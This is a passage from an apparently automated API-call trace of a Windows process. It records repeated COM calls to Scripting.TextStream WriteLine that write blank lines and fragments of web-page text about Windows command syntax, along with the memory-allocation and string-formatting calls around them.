[5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.497] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.497] SysAddRefString () returned 0x0 [0148.497] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.497] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.497] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.497] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8757528, pBstrHelpFile=0x249c8758f60*="魰졵ɉ") returned 0x0 [0148.497] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87623e8, pBstrHelpFile=0x249c8758f60*="魰졵ɉ") returned 0x0 [0148.497] malloc (_Size=0x8) returned 0x249c884ee20 [0148.498] malloc (_Size=0x14) returned 0x249ca447830 [0148.498] _snwprintf_s (in: _DstBuf=0x249ca447830, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.498] malloc (_Size=0x4e) returned 0x249c884a540 [0148.498] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.498] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.498] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.498] wcsncpy_s (in: _Destination=0x249ca4d4b18, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.498] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.498] free (_Block=0x249ca447830) [0148.498] free (_Block=0x249c884ee20) [0148.498] free (_Block=0x249c884a540) [0148.498] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.498] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.498] SysReleaseString () returned 0x1 [0148.498] CoTaskMemFree (pv=0x249c87618b0) [0148.498] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.498] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.499] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.499] SysAddRefString () returned 0x0 [0148.499] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.499] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.499] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.499] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87623e8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.499] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87626e8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.499] malloc (_Size=0x8) returned 0x249c884ecb0 [0148.499] malloc (_Size=0xae) returned 0x249c884ee60 [0148.499] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.499] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.499] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.499] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.499] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.499] wcsncpy_s (in: _Destination=0x249ca4d4b60, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.499] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.499] free (_Block=0x249c884ee60) [0148.499] free (_Block=0x249c884ecb0) [0148.499] free (_Block=0x249ca4d5de0) [0148.499] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.500] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.500] SysReleaseString () returned 0x1 [0148.500] CoTaskMemFree (pv=0x249c8761b80) [0148.500] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.500] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.500] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.500] SysAddRefString () returned 0x0 [0148.500] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.500] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.500] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.500] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87626e8, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.500] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762748, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.500] malloc (_Size=0x8) returned 0x249c884ed80 [0148.500] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.500] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.500] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.501] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.501] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.501] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.501] wcsncpy_s (in: _Destination=0x249ca4d4c42, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.501] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.501] free (_Block=0x249c884ee60) [0148.501] free (_Block=0x249c884ed80) [0148.501] free (_Block=0x249ca4d5de0) [0148.501] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.501] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.501] SysReleaseString () returned 0x1 [0148.501] CoTaskMemFree (pv=0x249c87617c0) [0148.501] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.501] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.502] CoTaskMemAlloc (cb=0x28) returned 0x249c87616d0 [0148.502] SysAddRefString () returned 0x0 [0148.502] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.502] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.502] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.502] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762748, pBstrHelpFile=0x249c8758f60*="鰰졵ɉ") returned 0x0 [0148.502] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762448, pBstrHelpFile=0x249c8758f60*="鰰졵ɉ") returned 0x0 [0148.502] malloc (_Size=0x8) returned 0x249c884ed50 [0148.502] malloc (_Size=0x14) returned 0x249ca4476b0 [0148.502] _snwprintf_s (in: _DstBuf=0x249ca4476b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.502] malloc (_Size=0x4e) returned 0x249c884a540 [0148.502] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.502] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.502] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.502] wcsncpy_s (in: _Destination=0x249ca4d4d46, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.502] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.502] free (_Block=0x249ca4476b0) [0148.502] free (_Block=0x249c884ed50) [0148.502] free (_Block=0x249c884a540) [0148.502] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.503] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.503] SysReleaseString () returned 0x1 [0148.503] CoTaskMemFree (pv=0x249c87616d0) [0148.503] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.503] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.503] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.503] SysAddRefString () returned 0x0 [0148.503] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.503] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.503] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.503] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762448, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.503] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762c88, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.503] malloc (_Size=0x8) returned 0x249c884eda0 [0148.503] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.503] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.503] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.503] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.504] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.504] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.504] wcsncpy_s (in: _Destination=0x249ca4d4d8e, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.504] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.504] free (_Block=0x249c884ee60) [0148.504] free (_Block=0x249c884eda0) [0148.504] free (_Block=0x249ca4d5de0) [0148.504] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, 